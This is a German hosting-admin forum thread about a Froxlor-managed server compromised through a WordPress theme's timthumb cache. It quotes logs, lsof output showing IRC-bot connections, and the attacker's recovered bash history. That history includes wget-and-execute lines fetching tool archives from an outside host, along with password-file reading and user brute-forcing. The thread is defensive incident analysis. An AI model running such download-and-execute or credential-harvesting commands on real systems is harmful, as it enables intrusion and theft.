Jump to content
Froxlor Forum
  • 0

Virtueller Benutzer gehackt


Alexander

Question

Sehr geehrte Damen und Herren,

 

Froxlor verwende ich f?r die Verwaltung des Servers. Am 04.06.2012 stellte ich fest, dass ein Angriff von einem meiner Server aus gestartet wurde. Bemerkt habe ich es, weil der Traffic und die Load des Servers Alarm schlugen.

 

Zur Info: Im Moment verwende ich Apache+suexec+fcgid+PHP/MySQL und proftpd. Es gibt nur zwei reale Benutzer, die NUR ?ber einen SSH Schl?ssel (Pub/Private) auf die Debian Kiste (squeeze) kommen und ?ber Shell Zugang verf?gen. Login mit Passwort ist deaktiviert. Root Login ist komplett deaktiviert.

 

?ber 'ps -faux' fand ich zwei Prozesse "/usr/sbin/httpd" und einen ohne Kommando (Anmerkung /usr/sbin/httpd existierte nicht physisch). Ausgef?hrt wurden beide unter dem Benutzer B1. Der Benutzer B1 war einer der virtuellen aus der MySQL-Datenbank von froxlor (siehe weiter unten lsof). Nachdem ich die Prozesse abgeschossen habe, war erstmal Ruhe! So begann ich mich auf die Suche nach Informationen, woher der Mist kommt.

 

Ich stellte fest, dass die Schadsoftware "wahrscheinlich" ?ber Wordpress des Benutzers B1 auf den Rechner kam. Folgende Apache Log Ausz?ge fand ich dort:

 

84.79.116.229 - - [04/Jun/2012:06:07:47 +0200] "POST //wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php HTTP/1.1" 200 65992 "http://bla.de//wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5"

84.79.116.229 - - [04/Jun/2012:06:08:42 +0200] "POST //wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php HTTP/1.1" 200 65995 "http://bla.de//wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5"

 

Obige Dateien existieren nicht mehr, wurden aber mit HTTP Status 200 erfolgreich ausgef?hrt. Auch der Theme "SimplePress" wurde vollst?ndig gel?scht (Spuren verwsicht?)! Der Zeitstempel und die ermittelte IP stimmen ?berein. Die IP konnte ich durch viele Logeintr?ge in der auth.log, etc. bereits einkreisen (hat per BruteForce versucht Passw?rter heraus zu finden).

 

Dann fand ich eine ./bash_history im Webverzeichnis des Benutzers B1:

 

#shell: cat .bash_history

find / -perm 777 -type d

find / -perm 777 -type d

su

su <realer benutzer>

./su

pwd

locate

find / -name "/shm/parole" -print -xdev | cat -v

cd /srv/kunden/webs/<B2>/land/fileadmin/logs

ls -a

ps -x

ls -la /proc/5869

cd /srv/kunden/webs/<B2>/land/typo3temp_bak/swap_locking/shm

ls -a

cat parole

ls -a

cat useri

./try-users

cd /srv/kunden/webs/<B2>/land/typo3temp_bak/swap_locking

wget http://ame.net46.net/xpl/shm.tgz;tar xzvf shm.tgz;rm -rf shm.tgz;cd shm;chmod +x *;./find

strings /usr/sbin/sshd | grep %s:%s -A2 -B2

ls

./try-users

w

w

wget http://ame.net46.net...er/auto.jpg;tar xzvf auto.jpg;rm -rf auto.jpg; cd auto;./run;cd ..; rm -rf auto

ps -x

 

Ich frage mich bis jetzt, wie konnte man mit dem virtuellen Benutzer B1 an die Bash kommen!? In der php.ini sind Kommandos wie system, shell_exec, exec, proc_open, etc. gesperrt. Au?erdem w?rden diese Kommandos ?ber PHP keinen Eintrag in der bash_history hinterlassen (habs getestet oder was vergessen!?). Ein Kommando habe ich jedoch vergessen zu sperren: popen. Ist ab jetzt gesperrt.

 

In der Datei parole wurden Passw?rter gesammelt (teils standen dort E-Mail Passw?rter der virtuellen Benutzer). Es wurde versucht in diversen Apache Logs auf diese parole Datei zuzugreifen. Jedoch immer mit HTTP Status 404 (not found) <- so kam ich auf die IP 84.79.116.229. Nur ?ber die BASH wurde ein cat parole ausgef?hrt. Interessant w?re, bekam er den Output oder nicht.

 

Die auto.jpg scheint wohl die beiden Prozesse gestartet zu haben. In shm.tgz befinden sich allerlei Werkzeuge. Diese habe ich bereits gel?scht. Sie lagen ?brigens in einem anderem Kundenverzeichnis bzw. in einem Verzeichnis mit allen Rechten 777 des Benutzers B2.

 

Au?erdem habe ich alle Verzeichnisse die die Berechtigung 777 haben auf 774, ge?ndert. Leider kann man das nicht verhindern, denn ein Benutzer kann das per FTP wieder von 774 auf 777 stellen, die Dateien geh?ren ja alle ihm selbst.

 

Hier noch Informationen zum Alarm des Angriffs am Router:

 

Direction OUT

Internal <meine IP>

Threshold PacketsDiff 70.000 packets/s, Diff: 87.613 packets/s Sum 26.284.000 packets/300s (87.613 packets/s), 5 flows/300s (0 flows/s), 0,710 GByte/300s (19 MBit/s) External 187.194.91.147, 26.284.000 packets/300s (87.613 packets/s), 5 flows/300s (0 flows/s), 0,710 GByte/300s (19 MBit/s)

 

Die gr??te Frage, die ich mir stelle, wie kam der ?belt?ter auf die Bash?

 

Das waren die beiden Prozesse (so bin ich in die Kundenverzeichnisse gekommen, wo das Zeugsl liegt):

 

hostname:/# lsof -p 29276

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

perl 29276 Benutzer B1 cwd DIR 9,4 248 928292 /srv/kunden/webs/Benutzer B2/land/typo3temp_bak/swap_locking/shm

perl 29276 Benutzer B1 rtd DIR 9,3 4096 2 /

perl 29276 Benutzer B1 txt REG 9,3 6928 2048162 /usr/bin/perl

perl 29276 Benutzer B1 mem REG 9,3 25976 2116041 /usr/lib/perl/5.10.1/auto/Socket/Socket.so

perl 29276 Benutzer B1 mem REG 9,3 19920 2116035 /usr/lib/perl/5.10.1/auto/IO/IO.so

perl 29276 Benutzer B1 mem REG 9,3 35104 2035488 /lib/libcrypt-2.11.2.so

perl 29276 Benutzer B1 mem REG 9,3 1432968 2035477 /lib/libc-2.11.2.so

perl 29276 Benutzer B1 mem REG 9,3 131260 2035478 /lib/libpthread-2.11.2.so

perl 29276 Benutzer B1 mem REG 9,3 530736 2035486 /lib/libm-2.11.2.so

perl 29276 Benutzer B1 mem REG 9,3 14696 2035476 /lib/libdl-2.11.2.so

perl 29276 Benutzer B1 mem REG 9,3 1494792 2048168 /usr/lib/libperl.so.5.10.1

perl 29276 Benutzer B1 mem REG 9,3 128744 2035489 /lib/ld-2.11.2.so

perl 29276 Benutzer B1 0u unix 0xffff88001bc03900 0t0 24911740 /var/lib/apache2/fcgid/sock/6792.2609

perl 29276 Benutzer B1 1w FIFO 0,8 0t0 24911939 pipe

perl 29276 Benutzer B1 2w REG 9,3 82423 2327270 /var/log/apache2/error.log

perl 29276 Benutzer B1 3u unix 0xffff88001bc01e00 0t0 24911759 /var/lib/apache2/fcgid/sock/6792.2609

perl 29276 Benutzer B1 4u IPv4 25026168 0t0 TCP www.meine-domain.xx:55916->85.17.198.245:www (ESTABLISHED)

perl 29276 Benutzer B1 245r FIFO 0,8 0t0 24647712 pipe

perl 29276 Benutzer B1 248w FIFO 0,8 0t0 24647713 pipe

hostname:/# lsof -p 21522

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

[init] 21522 Benutzer B1 cwd DIR 9,4 48 782848 /srv/kunden/webs/Benutzer B2/land/typo3temp_bak/swap_locking/shm/auto (deleted)

[init] 21522 Benutzer B1 rtd DIR 9,3 4096 2 /

[init] 21522 Benutzer B1 txt REG 9,4 502759 782879 /srv/kunden/webs/Benutzer B2/land/typo3temp_bak/swap_locking/shm/auto/[init] (deleted)

[init] 21522 Benutzer B1 mem REG 9,3 71432 557059 /lib32/libresolv-2.11.2.so

[init] 21522 Benutzer B1 mem REG 9,3 1327556 557066 /lib32/libc-2.11.2.so

[init] 21522 Benutzer B1 mem REG 9,3 22036 557080 /lib32/libnss_dns-2.11.2.so

[init] 21522 Benutzer B1 mem REG 9,3 118060 557078 /lib32/ld-2.11.2.so

[init] 21522 Benutzer B1 0u IPv4 25196426 0t0 TCP www.meine-domain.xx:49537->ircu.atw.hu:ircd (ESTABLISHED)

[init] 21522 Benutzer B1 1u IPv4 25196086 0t0 TCP www.meine-domain.xx:33448->Tampa.FL.US.Undernet.org:ircd (ESTABLISHED)

[init] 21522 Benutzer B1 3u unix 0xffff88001bc01e00 0t0 24911759 /var/lib/apache2/fcgid/sock/6792.2609

[init] 21522 Benutzer B1 4u IPv4 25196060 0t0 UDP *:43261

[init] 21522 Benutzer B1 245r FIFO 0,8 0t0 24647712 pipe

[init] 21522 Benutzer B1 248w FIFO 0,8 0t0 24647713 pipe

 

ROOT Zugang hat er nicht erlangt. Obwohl er ?ber das Script try-users allerlei probiert hat. Auch an die Passw?rter meiner beiden realen Benutzer ist er nicht heran gekommen. Die realen Benutzer schrieb das Script in die Datei useri.

 

 

Sch?ne Gr??e,

Alex

Link to comment
Share on other sites

2 answers to this question

Recommended Posts

Das habe ich noch gefunden:

 

[Mon Jun 04 05:43:55 2012] [warn] [client 95.211.7.163] mod_fcgid: stderr: PHP Warning: imagecreatefromgif(): '/srv/kunden/webs/Benutzer B1/site-www.bla.de//wp-content/themes/SimplePress/./cache/a5ac2723ed894d3fa6d77cdc12a589c0.php' is not a valid GIF file in /srv/kunden/webs/Benutzer B1/site-www.bla.de/wp-content/themes/SimplePress/timthumb.php on line 343

[Mon Jun 04 05:52:42 2012] [warn] [client 84.79.116.229] mod_fcgid: read data timeout in 300 seconds, referer: bla.de//wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php

[Mon Jun 04 05:52:42 2012] [warn] [client 84.79.116.229] (110)Connection timed out: mod_fcgid: ap_pass_brigade failed in handle_request_ipc function, referer: bla.de//wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php

[Mon Jun 04 06:08:50 2012] [error] [client 84.79.116.229] File does not exist: /srv/kunden/webs/Benutzer B1/site-www.bla.de/wp-content/themes/SimplePress, referer: bla.de//wp-content/themes/SimplePress/cache/a5ac2723ed894d3fa6d77cdc12a589c0.php

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.



×
×
  • Create New...